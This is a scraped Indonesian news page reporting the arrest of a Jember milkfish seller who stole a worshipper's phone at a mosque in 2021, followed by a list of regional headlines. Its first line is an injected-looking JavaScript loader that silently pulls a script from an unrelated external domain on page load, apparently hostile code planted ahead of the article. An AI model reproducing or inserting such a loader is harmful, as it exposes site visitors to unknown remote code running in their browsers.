(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Pengusaha ‘Banting Setir’ Jadi Maling Sasar Jemaah Masjid


KANALKALIMANTAN.COM – Jualan lagi sepi, pengusaha bandeng presto di Jember, Jawa Timur, ini malah banting sentir menjadi maling spesialis sasar jemaah masjid.

Namanya Adi Sutrisno (45) warga Dusun Krajan, Desa Ajung Kecamatan Kalisat, kabupaten setempat. Ia tepergok mencuri dompet Aminudin, jemaah Masjid Jami’ Al Baitul Amin, Senin (3/5/2021) sore.

Ceritanya, saat itu korban sedang mengambil air wudhu bersiap shalat Ashar. Korban ini menaruh tas tak jauh dari tempat wudhu. Namun usai wudhu, korban melihat tasnya dalam kondisi terbuka.

Setelah dicek, ternyata handphone smartphone Samsung Note 9 miliknya sudah raib. Korban pun menaruh curiga dengan gerak-gerik Adi yang berada di dekatnya.

Baca juga: Hardiknas di Tengah Pandemi, Ini Komentar Ketua DPRD Banjarbaru

 

Namun saat ditanya Adi sempat mengelak. Korban tidak percaya. Karena masih penasaran akhirnya menghubungi satpam masjid dan bersama-sama mengecek kamera CCTV.

Kapolsek Patrang AKP Heri Supadmo mengatakan, pelaku akhirnya tak bisa mengelak saat rekaman kamera CCTV menangkap jelas aksi pencurian yang dilakukan Adi saat korbannya berwudhu.

“Pelaku akhirnya diserahkan ke kami untuk dilakukan penyelidikan lebih lanjut,” ucapnya, seperti dikutip dari suarajatim.com, jejaring media suara.com, Selasa (4/5/2021).

Kepada polisi terungkap kalau Adi sebenarnya pernah tertangkap di lokasi dan modus yang sama.

Baca juga: 2021 Diprediksi Kalsel Masih Surplus Beras

“Pelaku sendiri sudah pernah ditangkap di lokasi yang sama, modusnya juga sama yakni mengambil barang berharga milik jemaah masjid yang lengah ketika hendak beribadah,” ujar Heri Supadmo.

Sementara Pelaku saat ditanya alasannya melakukan mencuri, kepada wartawan mengatakan kalau sedang terdesak kebutuhan ekonomi setelah usaha jualan ikan bandeng prestonya terpuruk akibat pandemi.

Terlebih anaknya yang duduk di bangku sekolah dasar membutuhkan biaya.
“Saya punya anak dua, istri tidak bekerja, sedangkan usaha jualan ikan bandeng presto sepi, karena butuh untuk makan ya terpaksa saya mencuri,” kata Adi menjelaskan. (suara.com)

Editor : kk


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.